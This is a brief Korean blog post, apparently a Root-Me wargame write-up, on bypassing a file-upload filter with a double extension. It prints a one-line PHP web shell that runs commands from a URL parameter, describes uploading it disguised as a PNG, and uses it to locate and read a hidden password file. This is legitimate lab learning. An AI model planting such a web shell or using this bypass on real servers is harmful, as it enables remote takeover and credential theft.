rootme - File upload - Double extensions
2021. 3. 4. 13:32ㆍWarGame/Rootme

해당 파일을 파일업로드 취약점이다.
<?php
system($_GET[cmd]);
?>
위와 같이 원격 쉘 실행 코드를 작성하고,

확장자를 png로 변환해준다.

그후 위와 같이 실행이 가능하다.
.passwd 파일은 숨김파일이므로 ls -al 명령어를 활용해서 찾는다.

위와 같이 위치를 찾으면

password를 확인할 수 있다.
'WarGame > Rootme' 카테고리의 다른 글
| rootme - File upload - MIME type (0) | 2021.03.06 |
|---|---|
| rootme - HTTP - Cookies (0) | 2021.03.05 |
| rootme - CRLF (0) | 2021.03.03 |
| rootme - Install files (0) | 2021.03.03 |
| rootme - HTTP - Verb tampering (0) | 2021.03.01 |